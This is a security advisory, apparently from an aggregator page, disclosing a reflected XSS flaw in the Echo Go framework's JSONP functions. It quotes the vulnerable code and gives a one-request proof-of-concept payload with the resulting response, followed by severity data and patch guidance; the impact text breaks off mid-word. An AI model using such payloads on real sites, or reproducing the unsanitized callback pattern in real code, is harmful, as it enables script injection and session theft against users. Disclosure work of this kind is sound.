GHSA-h9g5-28mm-hx3g - Echo vulnerable to Reflected Cross-Site Scripting (XSS) via unsanitized JSONP callback in Context.JSONP / Context.JSONPBlob
### Summary
The `Context.JSONP`, `Context.JSONPBlob`, and internal `jsonPBlob` helper in `context.go` directly concatenate the caller-supplied `callback` parameter into a JavaScript response **without any validation, escaping, or allow-listing**.
This creates a high-impact **reflected XSS** that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback.
**Present in current master and v5.1.0 (latest release).**
### Vulnerable Code (verbatim)
```go
func (c *Context) jsonPBlob(code int, callback string, i any) (err error) {
c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
c.response.WriteHeader(code)
if _, err = c.response.Write([]byte(callback + "(")); err != nil {
return
}
if err = c.echo.JSONSerializer.Serialize(c, i, ""); err != nil {
return
}
if _, err = c.response.Write([]byte(");")); err != nil {
return
}
return
}
func (c *Context) JSONP(code int, callback string, i any) (err error) {
return c.jsonPBlob(code, callback, i)
}
func (c *Context) JSONPBlob(code int, callback string, b []byte) (err error) {
c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
c.response.WriteHeader(code)
if _, err = c.response.Write([]byte(callback + "(")); err != nil {
return
}
if _, err = c.response.Write(b); err != nil {
return
}
_, err = c.response.Write([]byte(");"))
return
}
```
No sanitization is performed on the callback string.
### Exploit (one-request repro)
Any route using the official pattern is vulnerable:
```
Goe.GET("/api", func(c echo.Context) error {
return c.JSONP(200, c.QueryParam("callback"), map[string]string{"status": "ok"})
})
```
Attacker request:
```
GET /api?callback=alert(document.domain)%2f%2f HTTP/1.1
Host: target.com
```
Server response:
```
Content-Type: application/javascript; charset=utf-8
alert(document.domain)//({"status":"ok"});
```
โ Immediate arbitrary JavaScript execution (full reflected XSS).
### Impact
- Session hijacki
MEDIUM
Severity & confidence
Source severitymedium
Platform severitymedium
Confidencehigh
Exploitationunknown
CVSS6.1
Affected
Vendorsgithub
Productsgithub.com/labstack/echo/v5github.com/labstack/echo/v4
Reporting sources (2)
GitHub Security Advisories
NIST NVD - National Vulnerability Database
Timeline & provenance
Published2026-10-28T19:54:05
Last updated2026-10-31T20:12:43
Ingested2026-10-28T19:58:59
FreshnessNEAR-REAL-TIME
Threat typeadvisory
Recommended action
Review the advisory and upgrade affected packages to the first patched version.
Next steps
- Identify affected systems in your environment.
- Apply the vendor patch or mitigation guidance.
- Review logs for indicators described in the advisory.
- Follow the affected vendor/product to track updates.
Confidence explanation
Reported by a government or cert-grade source (CISA, NCSC, NVD, ENISA, MSRC).
Source type: vendor ยท Original: GitHub Security Advisories